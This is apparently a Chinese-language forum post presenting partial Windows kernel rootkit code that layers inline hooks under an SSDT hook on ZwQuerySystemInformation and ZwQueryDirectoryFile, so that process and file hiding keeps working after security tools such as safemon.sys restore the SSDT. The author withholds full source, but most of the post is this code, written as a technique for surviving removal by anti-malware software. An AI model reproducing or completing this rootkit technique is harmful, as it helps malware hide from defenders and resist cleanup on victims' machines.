HOOK的确是门艺术,在对抗中求生存,感觉很好。。。
此处,只是说一下处理是的思路,不提供完整源码
代码:
//谈谈对于SSDT中的API进行双层HOOK的通用处理模式,示例代码:
// 双层HOOK: 1.在不存在SSDT HOOK的情况下先安装Inline HOOK
...
SetInLineHookZwQueryDirectoryFile();
SetInLineHookZwQuerySystemInformation();
// 双层HOOK: 2.再安装外层的SSDT HOOK,这样时即使本HOOK被其他工具恢复,内层的HOOK依然在工作着
InHookSSDTNativeAPI();
...
//////////////////////////////////////////////////////////////////////////////
.....................
////////////////////// Do any thing //////////////////////////////////////////
// 进行进程隐藏
if(NT_SUCCESS(ntStatus))
{ ZWQUERYSYSTEMINFORMATION TempCheckInSSDTSpace=(ZWQUERYSYSTEMINFORMATION)SYSTEMSERVICE(ZwQuerySystemInformation);
// 检测自己的 SSDT HOOK 是否存在,避免重复工作; 当然若一定要重复工作也可以,
// 不会引起BSOD; 这说明代码写的健壮 ^-^.
if(HookSSDTZwQuerySystemInformation!=TempCheckInSSDTSpace)
{ // 当自己的SSDT HOOK被摘除时, 让Inline Hook 继续替代工作
//if(0x81000000 > (ULONG)TempCheckInSSDTSpace)
HideFileFromZwQuerySystemInformation(SystemInformationClass,SystemInformation);
if (TempCheckInSSDTSpace != OldZwQuerySystemInformation)
{ // 若检测自己是Inline Hook到了SSDT的深层空间,则需要检测KIRQL,再进行相应处理
// 以避免不必要的BSOD发生!
if(DISPATCH_LEVEL >= KeGetCurrentIrql())
// 此时不宜太占用太多CPU时间,如果是在safemon.sys的HOOK分发函数中,
//可能将系统资源耗尽. 可以连SMM的SSDT HOOK也不放过,让Inline Hook经得起各种
//恶劣环境的考验^-^
DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
// 输出调试信息,证明自己正在干事.
}
else
{
DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
// 输出调试信息,证明自己正在干事.
}
}
else
{
DbgPrint("Rootkit: SSDT HOOK ZwQuerySystemInformation is exist, Inline Hook not need to do any thing any more!\n");
}
}
////////////////////// Do any thing //////////////////////////////////////////